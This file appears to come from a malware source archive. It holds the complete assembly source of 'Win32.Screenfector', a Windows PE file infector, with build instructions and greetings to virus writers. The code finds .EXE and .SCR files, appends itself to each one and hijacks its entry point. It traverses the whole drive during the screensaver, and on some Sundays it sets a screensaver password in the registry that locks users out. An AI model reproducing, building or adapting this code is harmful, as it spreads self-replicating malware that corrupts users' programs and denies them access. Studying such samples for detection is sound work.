MalwareSourceCode/Win32/Infector/Win32.Screenfector.asm
2020-10-16 23:26:21 +02:00

644 lines
19 KiB
NASM

; Å-----------
; Win32.Screenfector by MalFunction
;
; hi out there! this is my first little win32 infector. there's nothing
; special at it, no new technique, no new way of infecting. yes, it is
; a very poor coded direct action infector. :(
; BUT: have you ever heard of mcafee's silly feature 'scanning while
; the screensaver runs'?
; this virus is the answer to that feature. an infected exe-file
; will infect only scr-filez in the %windir% and %windir%\system directoriez.
; an infected scr-file will create a new thread for infecting and then
; immediately return to the host. the created thread infectz the whole
; HD usin' a dir traversal. i know it's slow and makes the user
; suspicious, but it's funny: a virus that infectz during the screensaver ...
; -------Å
; thanx 'n' greetz:
; -----------------
;
; Wang_E: i'm sure that u'll have yer own OS one day.
; thx for all da help, my friend!
; BlackArt: yeah, I'm still codin' that trojan ...
; Evil_Byte: Mittlerweile schon mal "Mirror, Mirror" von
; Blind Guardian geh”rt? ;)
; Benny/29A: all yer tutes in 29a#4 rox!
; Lord Julus: vx-tasy#1 is one of the best ezines i have ever seen
;
;
; compile with: tasm32.exe /m9 /ml screenf.asm
; tlink32.exe /aa /Tpe /c /x screenf.obj,,,import32.lib
; pewrite.exe screenf.exe
;
; (PEWrite is part of Lord Julus' VX-tasy#1)
.386
.model flat
extrn MessageBoxA:proc
extrn ExitProcess:proc
extrn GetProcAddress:proc
extrn GetModuleHandleA:proc
.data
dummy_title DB "senseless dummy prog v1.01",0
dummy_msg DB "dummy prog carrying a little win32 infector...",0
.code
dummy:
push 0 ; just a dummy ...
push offset dummy_title
push offset dummy_msg
push 0
call MessageBoxA
push 0
call ExitProcess
v_size = v_end - v_start
v_start: ; gimme that delta
call delta
delta:
pop ebp
jmp over_var ; variables part I
filehandle DD ?
maphandle DD ?
mapaddr DD ?
mapsize DD ?
keyhandle DD ?
value1 DD 1
hmodule DD ?
oldEIP DD ?
filealign DD ?
k32name DB "KERNEL32",0
advapiname DB "ADVAPI32",0
procsfound DB 0
searchmask DB "*.SCR",0
wildcard DB "*.*",0
root DB '\',0
nested DB 0
dotdot DB "..",0
fnhandle DD ?
fnhandle2 DD ?
threadID DD ?
_alloc DD ?
ptrGetProcAddress DD ?
ptrGetModuleHandleA DD ?
filetype DB 'E'
_GetProcAddress DB "GetProcAddress",0
_GetModuleHandleA DB "GetModuleHandleA",0
APIs:
GetWindowsDirectoryA DD ?
GetCurrentDirectoryA DD ?
SetCurrentDirectoryA DD ?
GetSystemDirectoryA DD ?
GetCommandLineA DD ?
GetSystemTime DD ?
ExitThread DD ?
CreateThread DD ?
CloseHandle DD ?
UnmapViewOfFile DD ?
MapViewOfFile DD ?
SetFileAttributesA DD ?
CreateFileMappingA DD ?
CreateFileA DD ?
FindNextFileA DD ?
FindFirstFileA DD ?
VirtualAlloc DD ?
LoadLibraryA DD ?
RegSetValueExA DD ?
over_var:
DB 0b8h ; mov eax,imm32 ; save old EIP
oldEIP2 DD offset dummy
mov [ebp+oldEIP-delta],eax
DB 0b8h ; mov eax,imm32 ; trace to import table
baseaddress DD 00400000h
add eax,[eax+3ch]
add eax,80h
mov eax,[eax]
add eax,[ebp+baseaddress-delta]
import1:
cmp dword ptr [eax],0 ; last import descriptor?
jz quit
mov esi,[eax+0Ch]
add esi,[ebp+baseaddress-delta]
lea edi,[ebp+k32name-delta] ; is it kernel32?
push 2
pop ecx
rep cmpsd
jz import2
add eax,14h
jmp import1
import2:
mov ebx,[eax] ; search for the needed API
mov edx,[eax+10h] ; addresses ...
add ebx,[ebp+baseaddress-delta]
add edx,[ebp+baseaddress-delta]
import3:
cmp dword ptr [ebx],0
jz no_more_imp
mov esi,[ebx]
add esi,[ebp+baseaddress-delta]
inc esi
inc esi
push esi
lea edi,[ebp+_GetProcAddress-delta] ; is it GetProcAddress?
push 14
pop ecx
rep cmpsb
jnz no_store1
mov edi,[edx]
mov [ebp+ptrGetProcAddress-delta],edi
inc byte ptr [ebp+procsfound-delta]
no_store1:
lea edi,[ebp+_GetModuleHandleA-delta] ; is it GetModuleHandleA?
push 4
pop ecx
pop esi
rep cmpsd
jnz no_store2
mov edi,[edx]
mov [ebp+ptrGetModuleHandleA-delta],edi
inc byte ptr [ebp+procsfound-delta]
no_store2:
add ebx,4
add edx,4
jmp import3
no_more_imp:
cmp byte ptr [ebp+procsfound-delta],2 ; both APIaddresses found?
jnz quit
mov byte ptr [ebp+procsfound-delta],0
lea eax,[ebp+k32name-delta] ; gimme k32 base
push eax
call [ebp+ptrGetModuleHandleA-delta]
mov [ebp+hmodule-delta],eax
push 18
pop ecx
lea edi,[ebp+APIs-delta]
lea esi,[ebp+ptr_table-delta]
get_APIs: ; retrieve all needed APIz
lodsd
add eax,ebp
sub eax,offset delta
push ecx
push edi
push esi
push eax
push dword ptr [ebp+hmodule-delta]
call [ebp+ptrGetProcAddress-delta]
pop esi
pop edi
pop ecx
test eax,eax
jz quit
stosd
loop get_APIs
push 40h ; allocate 1000 bytes
push 1000h
push 1000
push 0
call [ebp+VirtualAlloc-delta]
test eax,eax
jz quit
mov [ebp+_alloc-delta],eax
add eax,580 ; get system time
push eax
push eax
call [ebp+GetSystemTime-delta]
pop eax
cmp word ptr [eax+4],0 ; sunday?
jnz no_payload
cmp word ptr [eax+6],7 ; 1st sunday of month?
ja no_payload
lea eax,[ebp+advapiname-delta] ; load advapi32.dll
push eax
call [ebp+LoadLibraryA-delta]
test eax,eax
jz no_payload
push eax ; get RegOpenKeyExA address
lea ebx,[ebp+_RegOpenKeyExA-delta]
push ebx
push eax
call [ebp+ptrGetProcAddress-delta]
lea ebx,[ebp+keyhandle-delta] ; open the reg key
push ebx
push 001f0000h
push 0
lea ebx,[ebp+regkey-delta]
push ebx
push 80000001h
call eax
pop eax ; get RegSetValueExA address
lea ebx,[ebp+_RegSetValueExA-delta]
push ebx
push eax
call [ebp+ptrGetProcAddress-delta]
mov [ebp+RegSetValueExA-delta],eax
push 25 ; set screensaver pwd
lea ebx,[ebp+value2-delta]
push ebx
push 3
push 0
lea ebx,[ebp+value2name-delta]
push ebx
push dword ptr [ebp+keyhandle-delta]
call eax
push 4 ; enable screensaver pwd
lea eax,[ebp+value1-delta]
push eax
push 4
push 0
lea eax,[ebp+value1name-delta]
push eax
push dword ptr [ebp+keyhandle-delta]
call [ebp+RegSetValueExA-delta]
no_payload:
mov eax,[ebp+_alloc-delta] ; get current dir
add eax,320
push eax
push 260
call [ebp+GetCurrentDirectoryA-delta]
cmp byte ptr [ebp+filetype-delta],'E' ; is an EXE or a SCR executed?
jnz screen_save
its_exe:
mov dword ptr [ebp+searchmask+1-delta],'RCS.' ; set for findfile
mov byte ptr [ebp+filetype-delta],'S'
mov eax,[ebp+_alloc-delta] ; infect windoze dir
push eax
push 320
push eax
call [ebp+GetWindowsDirectoryA-delta]
call [ebp+SetCurrentDirectoryA-delta]
call infect_dir
mov eax,[ebp+_alloc-delta] ; infect windoze\system dir
push eax
push 320
push eax
call [ebp+GetSystemDirectoryA-delta]
call [ebp+SetCurrentDirectoryA-delta]
call infect_dir
mov eax,[ebp+_alloc-delta] ; go to old dir
add eax,320
push eax
call [ebp+SetCurrentDirectoryA-delta]
quit:
jmp [ebp+oldEIP-delta] ; jmp to host
screen_save:
mov dword ptr [ebp+searchmask+1-delta],'EXE.' ; set for findfile
mov byte ptr [ebp+filetype-delta],'E'
call [ebp+GetCommandLineA-delta] ; get CommandLine
mov edi,eax
xor eax,eax
get_end:
scasb
jnz get_end
cmp byte ptr [edi-2],'s' ; was the parameter /s ?
jz run_it ; (we don't want to infect
cmp byte ptr [edi-2],'S' ; when scr is configurated)
jz run_it
jmp quit
run_it:
mov [ebp+save_ebp-delta],ebp ; save EBP for new thread
lea eax,[ebp+threadID-delta] ; create the infection thread
push eax
push 0
push 0
lea eax,[ebp+myThread-delta]
push eax
push 0
push 0
call [ebp+CreateThread-delta]
jmp quit ; return to host
myThread:
DB 0bdh ; mov ebp,imm32 ; get delta handle
save_ebp DD ?
lea eax,[ebp+root-delta] ; set root dir as current dir
push eax
call [ebp+SetCurrentDirectoryA-delta]
call dirtrav ; INFECT!
push 0
call [ebp+ExitThread-delta] ; exit the thread
dirtrav:
call infect_dir ; infect directory
push dword ptr [ebp+_alloc-delta] ; find dir
lea eax,[ebp+wildcard-delta]
push eax
call [ebp+FindFirstFileA-delta]
push eax
inc eax
jz check_root
dec eax
mov [ebp+fnhandle-delta],eax
jmp test_if_dir
findnextdir:
push dword ptr [ebp+_alloc-delta] ; find next dir
push dword ptr [ebp+fnhandle-delta]
call [ebp+FindNextFileA-delta]
test eax,eax
jz check_root
test_if_dir:
mov eax,[ebp+_alloc-delta]
test dword ptr [eax],10h ; is it a directory?
jz findnextdir
mov eax,[ebp+_alloc-delta]
add eax,44
cmp byte ptr [eax],'.' ; is it '.' or '..'?
jz findnextdir
push eax
call [ebp+SetCurrentDirectoryA-delta] ; go to found dir
inc byte ptr [ebp+nested-delta]
call dirtrav ; recursive!
mov eax,[esp]
mov [ebp+fnhandle-delta],eax
jmp findnextdir
check_root:
cmp byte ptr [ebp+nested-delta],0 ; are we at root?
jz end_trav
lea eax,[ebp+dotdot-delta] ; go to '..'
push eax
call [ebp+SetCurrentDirectoryA-delta]
dec byte ptr [ebp+nested-delta]
end_trav:
add esp,4
ret
infect_dir:
push dword ptr [ebp+_alloc-delta] ; find a file
lea eax,[ebp+searchmask-delta]
push eax
call [ebp+FindFirstFileA-delta]
inc eax
jz no_more_filez
dec eax
mov [ebp+fnhandle2-delta],eax
jmp infect_file
findnextfile:
push dword ptr [ebp+_alloc-delta] ; find next file
push dword ptr [ebp+fnhandle2-delta]
call [ebp+FindNextFileA-delta]
test eax,eax
jz no_more_filez
infect_file:
xor edx,edx
mov eax,[ebp+_alloc-delta]
mov eax,[eax+32]
mov ecx,201
div ecx
test edx,edx
jz findnextfile ; already infected?
mov eax,[ebp+_alloc-delta] ; (fsize modulo 201 = 0)
mov eax,[eax+32]
add eax,v_size ; align fsize to 201 ...
push eax
xor edx,edx
div ecx
pop eax
sub edx,201
neg edx
add eax,edx
mov [ebp+mapsize-delta],eax ; ... and save it
push 80h ; clear file attributes
mov eax,[ebp+_alloc-delta]
add eax,44
push eax
call [ebp+SetFileAttributesA-delta]
test eax,eax
jz findnextfile
push 0 ; open file
push 80h
push 3
push 0
push 0
push 0C0000000h
mov eax,[ebp+_alloc-delta]
add eax,44
push eax
call [ebp+CreateFileA-delta]
inc eax
jz findnextfile
dec eax
mov [ebp+filehandle-delta],eax
push 0 ; map file part I
push dword ptr [ebp+mapsize-delta]
push 0
push 4
push 0
push eax
call [ebp+CreateFileMappingA-delta]
test eax,eax
jz closefile
mov [ebp+maphandle-delta],eax
push dword ptr [ebp+mapsize-delta] ; map file part II
push 0
push 0
push 2
push eax
call [ebp+MapViewOfFile-delta]
test eax,eax
jz closefile
mov [ebp+mapaddr-delta],eax
cmp word ptr [eax],'ZM' ; EXE signature?
jnz unmap
add eax,[eax+3ch]
mov edx,[ebp+mapaddr-delta]
cmp eax,edx
jnae unmap
mov edi,[ebp+_alloc-delta]
add edx,[edi+32]
cmp eax,edx
ja unmap
cmp dword ptr [eax],00004550h ; PE signature?
jnz unmap
mov edx,[eax+28h] ; save entrypoint
mov [ebp+oldEIP2-delta],edx
mov edx,[eax+34h]
mov [ebp+baseaddress-delta],edx ; save base address
add [ebp+oldEIP2-delta],edx
mov edx,[eax+3ch] ; save file alignment
mov [ebp+filealign-delta],edx
mov esi,[eax+74h] ; go to the last section header
shl esi,3
movzx ebx,word ptr [eax+6]
dec ebx
xchg eax,ebx
imul eax,eax,28h
lea esi,[esi+eax+78h]
add esi,ebx
or dword ptr [esi+24h], 0E0000020h ; set characteristix
add dword ptr [esi+8],v_size ; correct VirtualSize
mov eax,[esi+8]
xor edx,edx ; calculate new RawSize
mov ecx,[ebp+filealign-delta]
div ecx
test edx,edx
jz no_inc
inc eax
no_inc:
mul ecx
mov edx,eax
sub edx,[esi+10h]
add [ebx+50h],edx ; add increase to image size
mov [esi+10h],eax ; save new RawSize
push esi
mov edi,[esi+8] ; prepare to copy virus
add edi,[esi+14h]
sub edi,v_size
add edi,[ebp+mapaddr-delta]
mov ecx,v_size ; copy it!
lea esi,[ebp+v_start-delta]
rep movsb
pop esi ; save new entrypoint
mov edi,[esi+8]
add edi,[esi+0ch]
sub edi,v_size
mov [ebx+28h],edi
unmap:
push dword ptr [ebp+mapaddr-delta] ; unmap file
call [ebp+UnmapViewOfFile-delta]
closefile:
push dword ptr [ebp+filehandle-delta] ; and close it
call [ebp+CloseHandle-delta]
mov eax,[ebp+_alloc-delta] ; restore old attribs
push eax
add eax,44
push eax
call [ebp+SetFileAttributesA-delta]
jmp findnextfile
no_more_filez:
ret
; variables part II
APInames:
_GetWindowsDirectoryA DB "GetWindowsDirectoryA",0
_GetCurrentDirectoryA DB "GetCurrentDirectoryA",0
_SetCurrentDirectoryA DB "SetCurrentDirectoryA",0
_GetSystemDirectoryA DB "GetSystemDirectoryA",0
_GetCommandLineA DB "GetCommandLineA",0
_GetSystemTime DB "GetSystemTime",0
_ExitThread DB "ExitThread",0
_CreateThread DB "CreateThread",0
_CloseHandle DB "CloseHandle",0
_UnmapViewOfFile DB "UnmapViewOfFile",0
_MapViewOfFile DB "MapViewOfFile",0
_SetFileAttributesA DB "SetFileAttributesA",0
_CreateFileMappingA DB "CreateFileMappingA",0
_CreateFileA DB "CreateFileA",0
_FindNextFileA DB "FindNextFileA",0
_FindFirstFileA DB "FindFirstFileA",0
_VirtualAlloc DB "VirtualAlloc",0
_LoadLibraryA DB "LoadLibraryA",0
_RegSetValueExA DB "RegSetValueExA",0
_RegOpenKeyExA DB "RegOpenKeyExA",0
ptr_table:
DD offset _GetWindowsDirectoryA
DD offset _GetCurrentDirectoryA
DD offset _SetCurrentDirectoryA
DD offset _GetSystemDirectoryA
DD offset _GetCommandLineA
DD offset _GetSystemTime
DD offset _ExitThread
DD offset _CreateThread
DD offset _CloseHandle
DD offset _UnmapViewOfFile
DD offset _MapViewOfFile
DD offset _SetFileAttributesA
DD offset _CreateFileMappingA
DD offset _CreateFileA
DD offset _FindNextFileA
DD offset _FindFirstFileA
DD offset _VirtualAlloc
DD offset _LoadLibraryA
regkey DB "Control Panel\desktop",0
value1name DB "ScreenSaveUsePassword",0
value2 DB 31h,42h,41h,44h,32h,34h,35h,38h,32h,32h,32h,37h,45h
DB 37h,35h,45h,33h,39h,44h,38h,30h,38h,41h,41h,00h
value2name DB "ScreenSave_Data",0
v_end:
end v_start